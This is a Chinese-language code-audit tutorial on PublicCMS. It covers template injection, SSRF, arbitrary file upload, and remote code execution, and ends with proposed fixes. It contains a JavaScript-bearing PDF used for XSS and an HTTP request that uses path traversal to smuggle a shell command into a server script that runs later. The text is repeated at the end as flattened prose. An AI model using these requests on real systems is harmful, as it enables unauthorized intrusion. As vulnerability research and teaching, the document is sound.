从publiccms学习java代码审计
字数 1104 2025-08-24 07:48:10

PublicCMS 代码审计教学文档

一、环境搭建

  1. 下载 PublicCMS 源码并导入 IDEA
  2. 加载 pom.xml 文件
  3. 配置启动参数:
    • 修改 boot.SpringBootApplication 文件中的启动端口
  4. 数据库准备:
    • 创建 MySQL 数据库

二、审计发现的安全漏洞

1. Freemarker 模板注入漏洞

漏洞位置GetTemplateResult 方法

关键代码

public Object execute(List<TemplateModel> arguments) throws TemplateModelException {
    String template = getString(0, arguments);
    if (CommonUtils.notEmpty(template)) {
        template = "<#attempt>" + template + "<#recover>${.error!}</#attempt>";
        try {
            return FreeMarkerUtils.generateStringByString(template, configuration, null);
        } catch (Exception e) {
            return e.getMessage();
        }
    }
    return null;
}

分析

  • 直接使用用户输入的 template 内容进行 Freemarker 模板解析
  • 虽然配置了安全限制,但仍可能存在绕过风险

安全配置

configuration.setAPIBuiltinEnabled(false);
configuration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

2. SSRF 漏洞

漏洞位置GetHtmlMethod 方法

关键代码

public boolean needAppToken() {
    return true;
}

利用条件

  1. 获取有效的 appToken:
    • 通过 /api/appToken 接口使用 appKey 和 appSecret 获取
    • 后台添加应用授权获取凭证

利用方式

  • 通过 /api/method/getHtml 接口的 parameters 参数控制访问目标
  • 可通过延迟时间判断端口开放状态

3. 任意文件上传漏洞

漏洞位置/admin/cmsWebFile/doUpload

关键代码

@RequestMapping("doUpload")
@Csrf
public String upload(@RequestAttribute SysSite site, @SessionAttribute SysUser admin, 
    MultipartFile[] files, String path, boolean overwrite, HttpServletRequest request, ModelMap model) {
    // ...
    String originalName = file.getOriginalFilename();
    String filepath = path + CommonConstants.SEPARATOR + originalName;
    String fuleFilePath = siteComponent.getWebFilePath(site.getId(), filepath);
    CmsFileUtils.upload(file, fuleFilePath);
    // ...
}

漏洞分析

  • 未对文件名进行任何限制
  • 可直接上传任意文件类型
  • 上传路径由用户控制的 path 参数决定

利用方式

  1. 上传恶意 PDF 文件实现 XSS:

    %PDF-1.3
    %忏嫌
    1 0 obj << /Type /Pages /Count 1 /Kids [ 4 0 R ] >> endobj
    2 0 obj << /Producer (PyPDF2) >> endobj
    3 0 obj << /Type /Catalog /Pages 1 0 R /Names << /JavaScript << /Names [ (0b1781f6\0559e7f\0554c59\055b8fd\0557c4588f0d14c) 5 0 R ] >> >> >> endobj
    4 0 obj << /Type /Page /Resources << >> /MediaBox [ 0 0 72 72 ] /Parent 1 0 R >> endobj
    5 0 obj << /Type /Action /S /JavaScript /JS (app\056alert\050\047xss\047\051\073) >> endobj
    
  2. 通过文件管理界面查看触发 XSS

4. 文件内容替换导致 RCE

漏洞位置

  • /admin/cmsTemplate/replace 接口
  • /admin/sysSite/execScript 接口

关键代码

public String replace(@RequestAttribute SysSite site, @SessionAttribute SysUser admin,
    @ModelAttribute TemplateReplaceParameters replaceParameters, String word, String replace, HttpServletRequest request) {
    // ...
    String filePath = siteComponent.getTemplateFilePath(site.getId(), CommonConstants.SEPARATOR);
    CmsFileUtils.replaceFileList(filePath, replaceParameters.getReplaceList(), word, replace);
    // ...
}

漏洞分析

  • 未对文件类型和内容做限制
  • 未对目录进行限制,存在目录穿越风险
  • 可替换系统关键文件(如 SSH 公钥、计划任务等)

利用步骤

  1. 访问 /admin/sysSite/execScript 执行 sync.sh
  2. 使用 /admin/cmsTemplate/replace 替换脚本内容:
    POST /admin/cmsTemplate/replace?navTabId=placeTemplate/list HTTP/1.1
    ...
    _csrf=fadb2fab-2700-4f54-a679-6e6deb1a5ad4&word=-echo&replace=-echo%3bopen+-a+calculator.app&replaceList%5B0%5D.path=../../script/sync.sh&replaceList%5B0%5D.indexs=0
    
  3. 再次执行 sync.sh 触发 RCE

三、修复方案

  1. 文件上传漏洞修复:

    public static String getSafeFileName(String path) {
        if (CommonUtils.notEmpty(path) && path.contains("..")) {
            return path.replace("..", CommonConstants.BLANK);
        } else {
            return path;
        }
    }
    
    • 禁止目录穿越
    • 增加文件类型检查
  2. 其他建议:

    • 对模板内容进行严格过滤
    • 限制 SSRF 访问的内网地址
    • 对文件替换操作增加权限和路径检查

四、总结

PublicCMS 存在多处高危漏洞,包括:

  1. 模板注入风险
  2. SSRF 漏洞
  3. 任意文件上传导致 XSS
  4. 文件替换导致 RCE

开发人员应严格验证用户输入,限制文件操作范围,并对敏感操作增加权限检查。安全配置应作为系统默认设置,而非依赖开发人员手动配置。

PublicCMS 代码审计教学文档 一、环境搭建 下载 PublicCMS 源码并导入 IDEA 加载 pom.xml 文件 配置启动参数: 修改 boot.SpringBootApplication 文件中的启动端口 数据库准备: 创建 MySQL 数据库 二、审计发现的安全漏洞 1. Freemarker 模板注入漏洞 漏洞位置 : GetTemplateResult 方法 关键代码 : 分析 : 直接使用用户输入的 template 内容进行 Freemarker 模板解析 虽然配置了安全限制,但仍可能存在绕过风险 安全配置 : 2. SSRF 漏洞 漏洞位置 : GetHtmlMethod 方法 关键代码 : 利用条件 : 获取有效的 appToken: 通过 /api/appToken 接口使用 appKey 和 appSecret 获取 后台添加应用授权获取凭证 利用方式 : 通过 /api/method/getHtml 接口的 parameters 参数控制访问目标 可通过延迟时间判断端口开放状态 3. 任意文件上传漏洞 漏洞位置 : /admin/cmsWebFile/doUpload 关键代码 : 漏洞分析 : 未对文件名进行任何限制 可直接上传任意文件类型 上传路径由用户控制的 path 参数决定 利用方式 : 上传恶意 PDF 文件实现 XSS: 通过文件管理界面查看触发 XSS 4. 文件内容替换导致 RCE 漏洞位置 : /admin/cmsTemplate/replace 接口 /admin/sysSite/execScript 接口 关键代码 : 漏洞分析 : 未对文件类型和内容做限制 未对目录进行限制,存在目录穿越风险 可替换系统关键文件(如 SSH 公钥、计划任务等) 利用步骤 : 访问 /admin/sysSite/execScript 执行 sync.sh 使用 /admin/cmsTemplate/replace 替换脚本内容: 再次执行 sync.sh 触发 RCE 三、修复方案 文件上传漏洞修复: 禁止目录穿越 增加文件类型检查 其他建议: 对模板内容进行严格过滤 限制 SSRF 访问的内网地址 对文件替换操作增加权限和路径检查 四、总结 PublicCMS 存在多处高危漏洞,包括: 模板注入风险 SSRF 漏洞 任意文件上传导致 XSS 文件替换导致 RCE 开发人员应严格验证用户输入,限制文件操作范围,并对敏感操作增加权限检查。安全配置应作为系统默认设置,而非依赖开发人员手动配置。